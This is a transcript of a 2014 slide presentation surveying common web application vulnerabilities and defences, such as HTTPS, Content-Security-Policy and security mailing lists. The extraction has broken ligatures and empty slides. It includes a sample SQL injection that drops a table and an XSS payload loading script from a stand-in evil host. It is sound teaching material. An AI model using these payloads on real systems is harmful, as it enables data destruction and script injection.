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Harley Watson
November 29, 2014
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There Is No Silver Bullet
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Transcript
there is no silver bullet Henri Watson
Which vulnerabili.es commonly affect web applica.ons in the
Dominican Republic?
No HTTPS
Using HTTPS won’t cost you an arm and a
leg.
The current proposal for HTTP/2.0 requires TLS.
If you decide to use HTTPS, also use Strict-‐Transport-‐Security
and ssllabs.com/ssltest
SQL Injec.ons
GET /tracker?order=12345”; DROP TABLE orders;-‐-‐ SELECT * FROM
orders WHERE order = “12345”; DROP TABLE orders;-‐-‐” AND status = “pending” Request from the client to the server Request from the webserver to the database
None
None
None
Authen.ca.on Implementa.on Mistakes
None
None
Cross-‐Site Scrip.ng (XSS)
GET /hi?name=<script src=“hep://evil.example/ l33thax.js”></script> Hello, <script src=“hep://evil.example/ l33thax.js”></script>!
Request from the client to the server Reply from the server to the client
Content-‐Security-‐Policy
Exposure of Sensi.ve Data
None
Using Components With Known Vulnerabili.es
Mailing Lists • bugtraq hep://www.securityfocus.com/archive/1 • debian-‐security-‐announce
heps://lists.debian.org/debian-‐security-‐announce/ • fulldisclosure hep://nmap.org/mailman/lis.nfo/fulldisclosure
Mailing Lists •
[email protected]
heps://hepd.apache.org/lists.html#hep-‐announce • nginx-‐announce
hep://mailman.nginx.org/mailman/lis.nfo/nginx-‐ announce • php-‐announce hep://php.net/mailing-‐lists.php
None
Customer Service
None
Why is there no “silver bullet”?
Informa.on security is a constant investment.
Heartbleed
By placing your users’ informa.on at risk, you also
risk ruining your company’s reputa.on.
Thanks! @henriwatson
[email protected]
heps://henriwatson.com/talks/silverbullet